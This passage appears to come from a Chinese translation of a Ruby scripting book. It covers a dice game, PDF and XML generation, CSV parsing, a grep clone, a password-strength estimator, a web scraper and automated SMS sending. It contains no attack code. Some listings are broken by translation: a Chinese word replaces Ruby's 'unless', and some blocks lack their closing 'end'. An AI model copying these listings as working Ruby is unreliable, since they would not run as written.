脚本无需任何参数即可自动运行。游戏在一台终端上由两个人轮流进行,试图提高自己的得分。执行后,阅读说明并成为第一个获胜的人:
**`ruby pig.rb`**
结果
欢迎来到游戏 PIG! ----说明---- 游戏的目标是达到 100 分。*** 注意,如果你掷出 1,你将失去你的 *** *** 轮次和你可能获得的任何分数。*** 祝你好运!按<Enter>键继续... ---玩家 1 掷骰子--- 按下<Enter>键再次掷骰子或按'h'键保持。 ---玩家 1 掷骰子--- 玩家 1 的总分是:0 你掷出了:6 你本轮的总分是:6 按下<Enter>键再次掷骰子或按'h'键保持。 ---玩家 1 掷骰子--- 玩家 1 的总分是:0 你掷出了:6 你本轮的总分是:12 按下<Enter>键再次掷骰子或按'h'键保持。 ---玩家 1 掷骰子--- 玩家 1 的总分是:0 你掷出了:4 你本轮的总分是:16 按下<Enter>键再次掷骰子或按'h'键保持。 ---玩家 1 掷骰子--- 玩家 1 的总分是:0 你掷出了:4 你本轮的总分是:20 按下<Enter>键再次掷骰子或按'h'键保持。h 玩家 1 的总分是 20 ---玩家 2 掷骰子--- 玩家 2 的总分是:0 你掷出了:4 你本轮的总分是:4 按下<Enter>键再次掷骰子或按'h'键保持。 ---玩家 2 掷骰子--- 玩家 2 的总分是:0 你掷出了:1 ****非常抱歉,你得不到任何分数,并且将失去你的轮次。*** 按下<Enter>键继续... 玩家 2 的总分是 4 -----省略----- (在游戏中稍后回到玩家 1) ---玩家 1 掷骰子--- 玩家 1 的总分是:53 你掷出了:3 你本轮的总分是:42 按下<Enter>键再次掷骰子或按'h'键保持。 ---玩家 1 掷骰子--- 玩家 1 的总分是:53 你掷出了:5 你本轮的总分是:47 按下<Enter>键再次掷骰子或按'h'键保持。 玩家 1 的总分是 100 玩家 1 获胜!
工作原理
与大多数游戏一样,游戏中涉及运气。每当涉及运气时,通常在代码中可以找到一个rand语句。你可能想知道如何在 Ruby 中创建一个骰子。实际上非常简单。以下代码片段将创建一个六面骰子的响应:rand(6)+1。
脚本从为不熟悉 Pig 游戏的用户提供的说明开始
。接下来,初始化变量
。player1和player2将分别存储每个掷骰子结束后的玩家总分。turn_total将用于存储单个轮次的总分。turn将用于确定轮到哪位玩家掷骰子;player1为 true,player2为 false。最后一个变量d1是我们将在整个游戏中使用的骰子。
只要没有输入 Q,游戏就会继续进行,根据掷出 1 还是保持来改变轮次。如果玩家按下除'h'(保持)以外的任何键,骰子将被掷出
。如果玩家掷出 1,那么本轮的所有分数都将丢失,以及玩家的轮次
。如果掷出的不是 1,则骰子的总分将加到轮次总分上
。当玩家想保持时,轮次总分将加到玩家的总分上。
如果玩家的总分大于或等于 100 分,他或她将赢得游戏
。我还添加了一个不切实际的情况,即玩家在一次投掷中超过 100 分——非常不可能,但有可能
。
修改脚本
你可以修改这个脚本以使用两个骰子。只需添加一个d2变量,并在每次将其加到投掷总数时,将d2加到d1上。现在你已知如何创建骰子,能否重新创建更复杂的骰子游戏,比如克朗普斯?
第六章. 字符串工具

使用 Ruby 操作文本非常简单;你可能已经见过 Ruby 的字符串方法,如capitalize、upcase、downcase和swapcase。在本章中,我们将扩展这些方法,为文本处理任务(如搜索、操作和创建文档)创建一个更强大的工具集。
PDF 生成器
PDF 生成器
pdfGen.rb
PDF 文件提供了一种出色的数据展示方式。使用 PDF (便携式文档格式) 文件的一些优点包括平台独立性、查看一致性以及丰富的免费阅读软件选择。PDF 文件已成为互联网上信息交换的标准;我甚至将我的简历转换成了 PDF 格式,以便潜在雇主能够看到我希望他们看到的内容。此脚本将向您展示如何创建自己的 PDF 文件,而无需昂贵的软件。
代码
运行代码
要运行此脚本,请输入:
**`ruby pdfGen.rb`**
结果
执行脚本后,寻找一个名为 book_review.pdf 的 PDF 文件。该文件的格式将类似于 图 6-1 中所示的形式。

图 6-1. book_review.pdf 的内容
工作原理
对于这个脚本,我们依赖于 PDF:Writer 库将普通文本转换为 PDF。这个库作为一个 gem 提供,因此你可以使用命令 gem install pdf-writer 轻松安装它。为了开始脚本,我们包含了 pdf/writer,以便稍后创建 PDF 文件,以及 pdf/simpletable,因为我们将在文档中添加一个表格!。接下来,创建一个名为 PDF 的对象并将其保存到一个名为 pdf 的变量中!。
我们正在创建一个表单,该表单将被用来收集关于这本书的宝贵客户反馈信息。PDF:Writer 库的默认文本字体是 Times New Roman,我明确地编写了字体代码作为提醒,即字体可以被更改。你可以将其更改为 Courier、Helvetica 或 Times-Roman。我们在 PDF 文档中添加了一个标题,并将其字体设置为 25 点,以便它可以从其他文本中区分出来。PDF 文件的下一段区域将是一个包含特定于书籍信息的表格。
我们创建一个 SimpleTable 对象,随后是一个代码块,该代码块将数据填充到表格中!。虽然表格可以有任意多的列和行,但我们将使用两列,标题为 问题 和 回答。为了使表格更具美观性,并为顾客提供更多回答每个问题的空间,我将 问题 的宽度(即填充每个问题所需的最小字符宽度,以避免在问题列中浪费空间)设置为 100。表格的其余部分将用于顾客的回答。我们自定义了六个表格属性,并且得益于 Ruby 的易于理解的命名约定,自定义与方法名称匹配。这些属性将决定最终表格的外观。在表格属性之后的代码部分是初始化表格中的问题的地方!。表格创建的最后一步是将它渲染出来。使用 render_on 方法将表格渲染到 pdf 变量中。
现在表格已经创建,脚本开始提出几个问题,这些问题都有不同的预期答案类型!。问题部分的一个值得注意的方面是使用 circle_at 方法创建的圆圈!。该方法需要三个参数。前两个参数是以 (x, y) 格式的起始坐标。第三个参数是圆的半径。当第一次调用 circle_at 时,绘图指针位于文档的末尾。为了使圆圈向上移动一行,y 坐标设置为 pdf.y+5。x 坐标增加以匹配相应的数字 0 到 5。为了保存 Ruby——我是指 Ruby——所做的大量工作,我们调用 save_as 方法,它确实做到了它所说的!。文档被保存为 book_review.pdf。
单词频率
单词频率
wordFreq.rb
此脚本将扫描文本文件并计算文档中每个单词出现的次数。从文档中提取单词计数或单词频率有几个原因。一个例子是用于对使用移位密码加密的密文进行密码分析。我发现单词频率在我的写作中也很有趣。运行此脚本可以显示我使用最频繁的单词,经过一些调整,可以显示那些不是我的日常词汇的单词。
代码
 unless ARGV[0] puts "\n 你需要包含一个文件进行测试。" puts "用法:ruby wordFreq.rb file_to_test.txt" exit end  unless File.exist?(ARGV[0]) puts "\n 文件未找到,请检查路径。" puts "用法:ruby wordFreq.rb file_to_test.txt" exit end file = ARGV[0] words = Hash.new(0)  File.open(file, "r").each_line do |line|  line.scan(/\b\w+\b/) {|i| words[i] += 1} end  sorted = words.sort_by {|a| a[1] } temp = sorted.length  10.times do temp -= 1 puts "\"#{sorted[temp][0]}\" 出现了 #{sorted[temp][1]} 次" end
运行代码
通过键入以下命令执行此脚本:
**`ruby wordFreq.rb`** **``*`/path/to/file/`*``**
我运行了这个脚本,针对本书的第一章,看看会发生什么。我以为 Ruby 可能是前十大热门词汇之一,但除了常见的嫌疑人(例如,the,to 和 is)之外,单词 script 竟然悄悄地出现在了使用最频繁的 10 个单词列表中。谁能想到呢?
结果
结果输出到 $stdout,但也可以轻松地将它们输出到文本文件或 PDF 文件:
"the" 出现了 513 次 "to" 出现了 156 次 "is" 出现了 128 次 "script" 出现了 126 次 "a" 出现了 118 次 "file" 出现了 107 次 "and" 出现了 94 次 "you" 出现了 87 次 "of" 出现了 81 次 "in" 出现了 70 次
工作原理
脚本开始于一个检查,以确保用户已经输入了一个用于单词频率分析的文件名
。接下来,脚本会检查传入的文件名确实是一个文件,并且该文件是可访问的
。从第一个参数创建一个 file 对象并初始化一个名为 words 的哈希后,文件被打开,每一行都被读入一个块
。尽管块中只有一行,但那一行中正在进行许多不同的操作。关于这些多个操作的一个非常酷的部分是,它们被压缩成了一行,但仍然对人类来说很容易阅读
。对于文件中的每一行,内容都使用 scan 方法进行解析,或扫描。由于脚本正在跟踪每个单词的出现次数,这种方法允许脚本隔离单个单词。这个方法将匹配正则表达式的每个单词传递到另一个块(也位于同一行)。有趣的是,如果不需要块,可以直接将匹配项放入数组。但是,由于我们需要进行一些额外的操作,我们在行尾添加了一个块。
对于传递给块的每个单词,都会引用 words 哈希,如果单词存在,则键值增加一。如果单词之前没有遇到过,则初始化值并将键设置为计数一。在一行代码中根据文件中每个单词的出现次数填充哈希表是相当酷的。也许你在数学或统计学课程中遇到过 直方图 这个术语?这个脚本创建了一个简单的直方图,显示了给定文件中使用的单词比例。
到目前为止,words 哈希已经完全填充,剩下要做的就是输出重要信息。脚本使用名为 sort_by 的方法(它是 Enumerable 库的一部分)根据键对 words 中的值进行排序。sort_by 方法将排序相应的哈希,并返回一个多维数组,其中包含原始哈希中每个元素的键和值
。最后的块打印多维数组中的最后 10 个数组;这对应于文本文件中出现频率最高的 10 个单词
。
黑客脚本
最简单的黑客攻击方法是将脚本转换为分析文本文件中的字母。字母频率也用于密码分析。在谷歌上简单搜索一下,会发现英语中最常用的字母是 e。
一种稍微不同的方法可能是添加停用词。停用词是指在显示结果之前被移除的词。你可以移除像the、to、is、of、as等常见术语。此外,这个脚本可能是贝叶斯垃圾邮件过滤器的一个简单起点。贝叶斯垃圾邮件过滤器之所以强大,是因为它们可以识别垃圾邮件中出现的单词,并从这些单词中构建一个档案。我相信你可以想到一两个在垃圾邮件中常见的单词……比如与扩大这个或免费那个有关的内容。对垃圾邮件进行档案化是帮助用户获取合法电子邮件的一个工具。
逗号分隔值解析器
逗号分隔值解析器
csv.rb
在我们的数字世界中,逗号分隔值(CSV)文件非常普遍。它们被用于各个地方,许多程序都有在 CSV 格式中输入或输出信息的函数。甚至微软的大多数产品都支持 CSV 格式!
这个脚本将向你展示如何在 CSV 文件中用逗号分隔数据后自定义数据输出。这将导致对数据的更有意义的解释。有两个库可以帮助你处理 CSV 文件:第一个是旧的 Ruby CSV 库标准,第二个是一个名为 FasterCSV 的库。我将向你展示如何使用 FasterCSV 并将其无缝集成到你的脚本中。只需注意,当你升级到 1.8 以上时,FasterCSV 将被纳入标准库。这两个库的使用方法非常相似;如果你需要升级或阅读旧的 Ruby CSV 代码,你根本不必担心。
我们可以使用split方法来修改我们自己的 CSV 库;但既然你已经看到了其他使用split的脚本,我们将介绍一些新且更高效的方法。为了使这个脚本更具体,假设你有一个由某些超先进金融分析软件(如 Excel 或 QuickBooks)输出的金融 CSV 文件。你必须弄清楚如何处理这些数据,所以你的第一个想法是咨询 Ruby!这就是简单的样子:
代码
require 'faster_csv'  unless ARGV[0] puts "用法:ruby csv.rb <文件名.ext>" puts "示例:ruby csv.rb comma.separated" exit unless File.exist?(ARGV[0]) puts "\n 文件未找到,请检查路径。" puts "用法:ruby csv.rb comma.separated" exit  file = FasterCSV.open(ARGV[0], "r") print "文件是否包含标题信息(y/n)? " h = $stdin.gets.chomp if h.downcase == 'y'  header = file.shift print header.join("\t")  file.each do |line| puts print line.join("\t") end else  print "输入标题信息(以逗号分隔):" header = $stdin.gets.strip header = header.split(",")  header.each do |h| print h + "\t" end file.each do |line| puts line.each do |element| print element + "\t" end end end
运行代码
通过输入以下命令运行脚本:
**`ruby csv.rb`** **``*`comma_separated.file`*``** Does the file include header information (y/n)? **``*`y`*``**
结果
为了测试这个脚本,我从一家财务报告网站上下载了一个包含关于谷歌信息的 CSV 文件。结果显示了 2004 年谷歌公开交易的前几天。自那时起,公司已经变得极其盈利,但这显示了谷歌刚开始时的价值。
日期 开盘价 最高价 最低价 收盘价 成交量 2004-09-01 102.70 102.97 99.67 100.25 4573700 2004-08-31 102.30 103.71 102.16 102.37 2461400 2004-08-30 105.28 105.49 102.01 102.01 2601000 2004-08-27 108.10 108.62 105.69 106.15 3109000 2004-08-26 104.95 107.95 104.66 107.91 3551000 2004-08-25 104.96 108.00 103.88 106.00 4598900 2004-08-24 111.24 111.60 103.57 104.87 7631300 2004-08-23 110.75 113.48 109.05 109.40 9137200 2004-08-20 101.01 109.08 100.50 108.31 11428600 2004-08-19 100.00 104.06 95.96 100.34 22351900
工作原理
脚本是为两种类型的 CSV 文件编写的:第一行有表头的文件和纯数据的文件。脚本将 CSV 文件作为唯一参数,首先检查文件是否存在以确保正确执行
。接下来,脚本使用 faster_csv 库打开文件
。文件打开后,脚本会询问用户关于表头信息,以便确定要遵循的代码部分
。如果文件确实包含表头信息,则执行 if 语句的第一部分。假设 CSV 文件包含表头,第一项任务是删除表头,以便 faster_csv 可以施展其魔法。表头通过 shift 方法删除,并将值存储在变量 header 中
。
解析表头后,脚本继续处理 CSV 文件的核心部分。如果您还记得之前的内容,我们初始化变量 file 为一个 FasterCSV 对象,该对象读取要解析的 CSV 文件。暂时回到基础,每一行包含可能或可能没有填充每个字段的数据。FasterCSV 库的语法很棒,因为代码与其他文件操作脚本非常相似。声明了一个代码块,为 CSV 文件中的每一行输出一个换行符。然后,对于每一行的每个元素,输出以制表符结束,以实现清晰的显示
。并不复杂。FasterCSV 库使得处理 CSV 文件变得轻而易举,这也结束了第一个路径。
如果您有一个没有表头的原始 CSV 文件,可能您想添加自己的表头以方便使用或提高可读性。如果是这样,那么您会对询问表头的提问回答 no。然后脚本就知道要询问表头名称而不是尝试从 CSV 文件中读取它们
。用户然后输入每个表头,用逗号分隔。表头创建后,脚本的其余部分运行,就像之前的路径
。
修改脚本
由于这个脚本的简单性,没有太多技巧,但在 Ruby 编码中,有两件事可以作为很好的练习。第一是压缩脚本同时保持可读性。首先应该查看的地方是解析表头的地方。另一个同样有益的练习是对输出进行格式化以处理各种情况。目前,由于使用了制表符,如果某些元素字段太宽,信息可能会错位。此外,您还可以使用 CSV 文件将输出到另一个文件,用于许多其他用途。我让脚本直接输出数据,因为我的数据集不是很大,并且很容易在终端窗口中阅读。查看接下来的几节,它们基于解析 CSV 文件的基本思想。
CSV 转换为 XML
CSV 转换为 XML
csvToXML.rb
如果你想要将信息填充到网络上,可扩展标记语言 (XML) 是一个很好的格式。XML 之所以如此酷,是因为该格式允许不同的系统使用开发者设计的通用格式来共享数据。此脚本将读取 CSV 文件中存储的信息,而不是仅仅将注释输出到用户的终端,而是生成一个 XML 文件。
代码
require 'faster_csv' print "CSV file to read: " infile = gets.strip print "What do you want to call each element: " record_name = gets.strip print "What do you want to title the XML document: " title = gets.strip print "What do you want to call the set of elements: " set = gets.strip file = FasterCSV.open(infile, "rb") header = file.shift File.open(File.basename(infile, ".*") + ".xml", 'wb') do |ofile|  ofile.puts '<?xml version="1.0"?>' ofile.puts "<#{set}>" ofile.puts "\t<name>#{title}</name>"  file.each do |record| ofile.puts "\t<#{record_name}>" for i in 0..(header.size - 1) ofile.puts "\t\t<#{header[i]}>#{record[i]}</#{header[i]}>" end ofile.puts "\t</#{record_name}>" end ofile.puts "</#{set}>" end
运行代码
要运行此脚本,请输入:
**`ruby csvToXML.rb`** CSV file to read: **``*`employees.csv`*``** What do you want to call each element: **``*`names`*``** What do you want to title the XML document: **``*`Employees at Wicked Cool Ruby`*``** What do you want to call the set of elements: **``*`people`*``**
结果
以下是你将在生成的 XML 文件中找到的内容:
<?xml version="1.0"?> <people> <name>Employees at Wicked Cool Ruby</name> <names> <first>Steve</first> <last>Pugh</last> </names> <names> <first>John</first> <last>Doe</last> </names> </people>
工作原理
在这个脚本上稍微改变一下方向,我们不会从命令行传递任何信息到脚本中。像其他一些脚本一样,这个脚本将提示用户输入每个需要的数据,以完美地将 CSV 文件转换为 XML 文件。
再次,脚本将使用更快的 _csv 库
。 (如果你需要关于 faster_csv 操作的复习,请参阅 Comma-Separated Value Parser 中的“#38 Comma-Separated Value Parser”。) 在脚本接触 CSV 文件之前,需要指定一些信息。为了理解每个变量的原因,了解 XML 文档的结构很有帮助。我会指导你自行研究 XML 文档 (www.w3.org/XML/Core/#Publications/)。
第一个用户提示将获取 CSV 文件的名称并存储在infile
。接下来,record_name将保存元素类型的值。XML 文件还需要一个标题,它存储在变量title中。最后,每个元素需要一个集合名称,它将存储在set中。
现在,脚本准备开始解析 CSV 文件并从头开始创建 XML 文档。第一个操作是打开 CSV 文件并将faster_csv对象存储在file中!
。脚本假设标题信息包含在 CSV 文件中,因此使用shift方法移除标题并存储在header中!
。接下来,通过使用 CSV 文件的基文件名并附加.xml扩展名来创建 XML 文件。使用典型的 XML 版本标签,脚本开始创建文档!
。
XML 文档中的每个元素都将有一个开标签和一个闭标签,因此脚本关闭它打开的每个标签是很重要的。version语句、设置名称和文档标题都将输出到名为ofile的 XML 文件中!
。接下来,每个记录将被创建!
。CSV 文件中的每一行都是一个记录,并且标题将决定每个记录包含多少个元素。在开始记录标签之后,每个元素都会用相应的标题名称进行标记!
。这个过程会重复应用于 CSV 文件中的每一行。一旦 CSV 文件被完全处理,脚本开始最终化关闭标签。当脚本退出时,XML 文件将完全形成,并准备好被整合到您所设想的内容中。
修改脚本
使用 XML 文件时,可能性是无限的。首先想到的是编辑脚本以处理不包含标题的文件。参见之前的 CSV 脚本以获得起点。另一个技巧是与网站集成,使用 XML 文件与层叠样式表(CSS)一起格式化输出。您可以设置一个网站,根据这个小脚本的输出动态更新。结果将是一个 XML 文件,当与 CSS 和 HTML 结合时,可以即时生成一个漂亮的网页。将此脚本与"#30 Flash Cards"结合使用,在 Flash Cards 上创建基于 XML 风格的网页式闪卡。
Ruby Grep
Ruby Grep
rubyGrep.rb
想象一下这个场景:您在硬盘上的多个目录中存储了数百个文件——所有这些文件都很重要,并且包含与一个研究项目相关的信息。当您正在整合最终的报告时,您记得阅读了一篇论文中的一个图表,但您不确定它在哪篇论文中,更不用说它在哪个文件夹中了。怎么办?再次阅读文件?是的,没错!首先要做的是不要担心!第二件事是获取这个脚本的副本并运行它。这个脚本将允许您自动打开文件并读取内容,以闪电般的速度定位您所需的信息。
代码
require 'English'  unless ARGV[0] puts "\nYou need to include a value to search for." puts "Usage: ruby rubyGrep.rb \"value_to_search\" '**/*'" exit end pattern = ARGV[0] glob = ARGV[1]  Dir[glob].each do |file| next unless File.file?(file) File.open(file, "rb") do |f|  f.each_line do |line|  puts "#{File.expand_path(file)}: #{$INPUT_LINE_NUMBER}: #{line}" if line.include?(pattern) end end end
运行代码
要运行此脚本,请输入:
**`ruby rubyGrep.rb`** *`value_to_search where_to_search`* **`ruby rubyGrep.rb entropy '*'`**
结果
为了本例的目的,我在 Ruby 脚本目录中搜索,以找出哪些脚本提到了单词熵,我在密码强度测试脚本中使用了这个单词。我只找到一个包含任何熵引用的脚本,搜索工作得非常完美。结果如下所示:
C:/Steven.Pugh/Scripts/complete/password.rb: 22: entropy = -1 * letters.keys.inject(0.to_f) do |sum, k| C:/Steven.Pugh/Scripts/complete/password.rb: 32: puts "\nThe entropy value is: #{entropy}"
它是如何工作的
这个脚本的优雅之处在于其简洁性。它只使用了一个名为 English 的库,并且支持输出行号。即使没有这个库,脚本也可以运行,但不会包含行号。脚本首先检查是否已经指定了搜索字符串和搜索位置!。当然,如果你什么也不搜索,你每次都会找到,所以请确保包含一个有意义的搜索模式。
要开始搜索目录,使用库 Dir 遍历在ARGV[1]中指定的目录内的每个文件,并将其保存在glob变量中!。使用'**/*'表示法告诉Dir方法,我们想要递归地搜索当前目录及其所有子目录,并在搜索过程中扫描模式。如果你只想搜索当前目录而不搜索子目录,你可以向Dir方法提供'*'。each方法指的是我们在指定目录中找到的每个文件。当然,如果你只想搜索 HTML 文件,你可以在 glob 中添加一个扩展名,例如'*.html'。这个简单的语句允许脚本操作符合特定标准的每个单个文件。非常强大。
脚本的下一步是决定对每个文件执行什么操作。我们已经知道我们想要搜索特定的字符串,因此脚本需要打开每个文件。接下来的代码块将每个文件以只读方式打开,并将二进制内容传递给变量 f
。然后使用 each_line 方法逐行搜索。变量 line 保存数据行
。然后一条长行会拉取所有相关数据以供用户显示
。我们将更仔细地分析这条线。为了读取该行,我们必须从优先级顺序开始,即该行的最后一个 if 语句 [if line.include?(pattern)]。一个重要的注意事项是,如果 if 语句评估为 false,意味着没有找到模式,则整行将被跳过。如果该行包含指定的模式,则评估该行的其余代码。为了做到这一点,我们需要回到行的开头,脚本会扩展文件路径并显示找到发生的位置的行号。
在运行此脚本时请记住,搜索可以是多么有创意,只要你想。如果你要搜索的文件恰好位于更高的目录或另一个分支的一部分,你需要在启动脚本时考虑到这一点。
漏洞脚本
我已经提到了几个你可以修改此脚本的地方,比如搜索其他文件类型和脚本的位置。此脚本也可以轻松地集成到其他脚本中,或者单独使用。
密码检查
密码检查
password.rb
你认为你的密码安全吗?哈哈哈!!!我只是在开玩笑;我不知道你的密码是否安全,但这个脚本会给你一个相当不错的想法。它基于数学证明——数字不会说谎!试试这个脚本,确保在运行时没有人从你身后偷看,因为你的密码不会被隐藏。请注意,输出中没有包含基于字典的攻击;只考虑了熵和暴力破解。
代码
 除非 ARGV[0] puts "您需要包含一个密码进行测试。" puts "用法: ruby password.rb mySuperSecretPassword" exit end  password = ARGV[0]  word = password.split(//)  letters = Hash.new(0.0)  set_size = 96  word.each do |i| letters[i] += 1.0 end  letters.keys.each do |j| letters[j] /= word.length end  entropy = -1 * letters.keys.inject(0.to_f) do |sum, k| sum + (letters[k] * (Math.log(letters[k])/Math.log(2.to_f))) end  combinations = 96 ** password.length days = combinations.to_f / (10000000 * 86400) years = days / 365 puts "\n 熵值是:#{entropy}"  puts "\n 并且需要大约 ~ #{days < 365 ? "#{days.to_i} 天" : "#{years.to_i} 年"} 来暴力破解密码"
运行代码
要运行此脚本,请输入:
**`ruby password.rb`** **``*`mySuperSecretPassword`*``**
结果
我实际上运行了这个脚本,密码是 RubyScr1pt5,结果还不错:
熵值是:3.4594316186373 并且需要大约 ~ 20238436 年来暴力破解密码
它是如何工作的
这个密码脚本实际上是将两个概念结合在一起的一个非常酷的脚本。第一个是基于香农熵的熵计算。这个脚本将计算你密码的不确定性度量。如果你不喜欢希腊字母或自然对数,你会很高兴地知道我不会证明熵计算。如果你真的想看方程式,它下面有,但我们假设计算是可靠的。
脚本的第二部分基于计算机需要多长时间才能暴力破解或猜测你的密码。在计算中做了几个假设;为了确保脚本符合现实,你应该检查数学计算。我会指出你应该关注的地方。
首先,脚本以密码作为第一个参数运行。只要包含密码,脚本就会继续分析密码
。第一步是初始化一些稍后使用的变量。变量 password 将自然地包含用户的密码
。下一个变量 word 将包含构成用户密码的字符数组
。这是通过非常有用的方法 split 实现的。由于香农熵的计算涉及每个字母出现的概率,因此创建了一个哈希,其中将包含每个字母的一个实例作为键,以及下一个字母被选中的相应概率作为值。这个哈希称为 letters
。请注意,这与单词频率中的“#37 单词频率”非常相似。
最后初始化的变量是set_size
。集合的大小很重要,因为它决定了猜测用户密码所需的时间长度。我默认的集合大小是 96,这对应于一个包含混合大小写字母、数字以及美国键盘上所有常见符号的集合。你可以使用 62 的集合大小用于字母数字,26 用于仅包含小写或大写字母,10 用于数字。你的集合大小由你的密码策略预先确定。
要开始计算香农熵,通过计算每个特定字符的实例来填充哈希letters
。接下来,将哈希中每个元素的值除以密码长度,以计算该字母出现的概率
。现在脚本已经有了计算密码混乱程度的所需所有信息。记住,混乱程度越高,猜测密码就越困难。还要注意,由相同符号重复组成的长度为n的密码将具有 0 的熵。用简单的话说,香农熵的计算是(负一)乘以(每个哈希元素的概率之和)乘以(哈希元素概率的自然对数之和)除以(2 的自然对数)
。
将哈希元素的概率的自然对数除以 2 的自然对数的原因是为了考虑信息熵的自然单位。这种除法将从一个对数底数计算出log2。你还在吗?计算结果应该在两到四之间,存储在entropy中。
现在已经计算出了用户密码的香农熵,剩下要确定的是猜测这个密码需要多长时间。计算这个值的方法是知道你每秒将进行多少次猜测,然后计算在集合大小中的可能组合数。在这个脚本中,给定一个固定大小的密码,比如说八个字符,然后将这个数字提高到集合中字符数的幂。在这个例子中,你会将 96 提高到 8 的幂,结果将存储在combinations中
。接下来,你需要将计算机每秒将进行的猜测次数乘以一天中的秒数(一天有 86,400 秒)。
combinations = 96 ** password.length days = combinations.to_f / (10000000 * 86400) years = days / 365
我假设每秒 10,000,000 次尝试,这将使用高速双核处理器。如果你使用任何像www.picocomputing.com/上找到的现场可编程门阵列(FPGA),那么每秒的尝试次数将显著增加。
将组合数除以每天猜测的次数,将得到猜测用户密码所需的天数,该密码存储在变量 days 中。然后,你可以将天数除以一年中的天数(365),以得到猜测用户密码所需的时间(年数);输出结果存储在 years 中。
最终输出将是熵的计算和猜测用户密码所需的时间长度。为了更有效的输出,并且因为一些密码可能在几天内就被猜出,我使用了三元表示法,即如果天数少于 365,则输出天数;否则输出年数
。这是一种优雅的条件显示时间的方法。
操纵脚本
你可以通过隐藏密码并将脚本纳入你的密码策略来破解此脚本。一个重要的补充是,密码破解不仅限于上述讨论的技术。另一种主要攻击是基于字典的攻击。虽然对于具有显著长度的强密码,数学运算对我们有利,但攻击者可以利用人类可预测性在破解密码时获得一些优势——选择 password 作为密码将非常容易受到字典攻击的破解。密码对于安全来说非常重要,因此了解如何衡量其强度有许多应用。
第七章。SERVERS AND SCRAPERS

Ruby 的一个强大之处在于,你可以用它来开发与网络资源交互自动化的方法。本章简要概述了如何处理网页,并以一组客户端/服务器脚本结束,这些脚本可以安全地传递和执行命令。与网络交互并从网络中提取数据很重要,因为这里有大量的信息——这被称为 数据挖掘。我们不会像淘金一样,而是会探讨不同的方法来挖掘重要数据并将其转化为有意义的信息。
定义
定义
define.rb
此脚本将查询网络以检索任何用户指定的单词的第一个定义。查询的网站是 www.dictionary.com/,像任何与网络交互的脚本一样,如果网站设计者做出任何更改,此脚本可能会中断。脚本的目的就是检索你想要的数据。使用 Dictionary.com 只是演示这项技能的一种方式,尽管这是一个很好的例子。
代码
 require "open-uri" unless ARGV[0] puts "您必须提供一个要定义的单词。" puts "用法:ruby define.rb <要定义的单词>" exit end  word = ARGV[0].strip  url = "http://dictionary.reference.com/search?q=#{word}" begin  open(url) do |source| source.each_line do |x|  if x =~ /No results found/ puts "\n 请检查拼写,没有找到定义。" exit end  if x =~ /(1\.)<\/td><td valign="top">(.*)<\/td/ puts "\n#{$1} #{$2}" exit end end  puts "抱歉,无法找到定义。" end rescue => e puts "发生错误,请重试。" puts e end
运行代码
通过输入以下命令来执行此脚本:
**`ruby define.rb`** *`要定义的单词`*
在这个例子中,我选择定义单词 Ruby。不幸的是,最邪恶的编程语言 并不是第一个返回的结果!
结果
该脚本将显示任何提供的单词的定义。如果找不到定义,用户将被要求检查拼写——也许这个单词不存在。
1.红宝石的一种,用作宝石。
它是如何工作的
再次遇到神奇的库 open-uri!。每当脚本处理网络交互时,总有一些有用的库;我更喜欢 open-uri,因为它比其他库抽象了更多的网络连接细节。在确定所需的库之后,进行一些错误检查。我希望你现在已经习惯了这段代码。第一个变量被称为word,将保存用户想要定义的单词!。接下来,Dictionary.com 的 URL 被硬编码到变量url中,并添加了用户提供的单词!。感谢 Dictionary.com 的网站管理员,将单词附加到 URL 上会自动返回定义。
接下来,我们由于网络请求的不稳定性开始一个begin/rescue语句。HTTP 请求通常以各种错误消息作为回答;适当地处理这些消息是脚本成功的关键。现在我们已经部署了begin/rescue安全网,我们就可以向 Dictionary.com 请求定义了。open-uri允许我们简单地输入open(),将 URL 传递给方法,并检索一个网页!。每次使用open方法,我都会微笑,因为获取网页是如此简单。
open方法后面跟着一个处理由网络服务器返回的源代码的块。因为我们正在寻找特定的行(单词的定义),所以我们开始另一个代码块,逐行分解源代码。如果单词无法定义,Dictionary.com 将显示消息没有找到结果。如果脚本在分析源代码时找到这些单词(但没有定义),它会提醒用户检查单词的拼写作为一个有用的提示,然后退出!。然而,如果找到定义,脚本将开始隔离定义在源代码中的确切位置。使用正则表达式来精确定位文本。
正则表达式中重要的部分是1。Dictionary.com 使用这个作为第一个定义的注释,这是我们感兴趣的。在正则表达式中使用括号允许脚本将任何匹配表达式的行的特定区域分组!。这些组存储在变量[$1]到[$n]中。正则表达式之后的行输出定义。如果源代码中既没有找到定义也没有找到没有找到结果,则会显示不同的消息,告知用户定义无法找到!。如果在定义过程中发生任何错误,我们的rescue块就会启动并指定发生了哪些错误。
漏洞挖掘脚本
要破解此脚本的一种方法是在用户和 Web 服务器请求之间添加一个代理。如果您正在使用代理,您必须这样做。如果您对 Ruby 的 Web 流量感到好奇,代理会为您提供一些洞察。请参阅 open-uri 的文档;语法看起来像open(url, :proxy => "http://127.0.0.1:8080")。我通常在上网时不会设置代理,但在进行 Web 开发时,我发现观察流量以防止出现错误是有帮助的。
在这个例子中,我使用的是免费的 Web 代理 Paros (www.parosproxy.org/)。Paros 安装在我的机器上,我可以观察我的 Web 请求以及随后收到的响应。由于 Paros 参与了我的开发,我节省了许多调试时间。我对 Paros 非常偏爱,但还有许多其他代理可供选择,所以请四处看看。
自动化短信
自动化短信
sms.rb
此脚本会将短信消息发送到您选择的任何手机号码。我警告您不要滥用此功能,但您确实需要尝试一下。前提是自动化使用一个为您发送短信的网站。此脚本实际上会自动化填写和提交 Web 表单,而不是抓取静态 Web 内容。
代码
require 'win32ole'  ie = WIN32OLE.new('InternetExplorer.Application')  ie.navigate("http://toolbar.google.com/send/sms/index.php") ie.visible = true  sleep 1 until ie.readyState() == 4  ie.document.all["mobile_user_id"].value ="5712013623" ie.document.all["carrier"].value ="TMOBILE" ie.document.all["subject"].value ="***Ruby Rulez***"  ie.document.all.tags("textarea").each do |i| i.value = "Thanks for the hard work, Matz!" end  ie.document.all.send_button.click
运行代码
通过输入以下命令来执行此脚本:
**`ruby googleS2P.rb`**
结果
脚本不会输出任何内容,但如果成功,与提供的电话号码相连的手机应该会通知您有新消息。我使用了虚构的数据,但您可以根据自己的兴趣进行编辑。
工作原理
如果您拥有 Windows 电脑并且从未玩过 win32ole 库,您需要抽出时间来尝试,因为 Windows 自动化既有趣又好玩。不仅如脚本中所示,您可以操作 Internet Explorer(IE),还可以操作任何 Microsoft Office 产品以及其他 Windows 应用程序。
注意
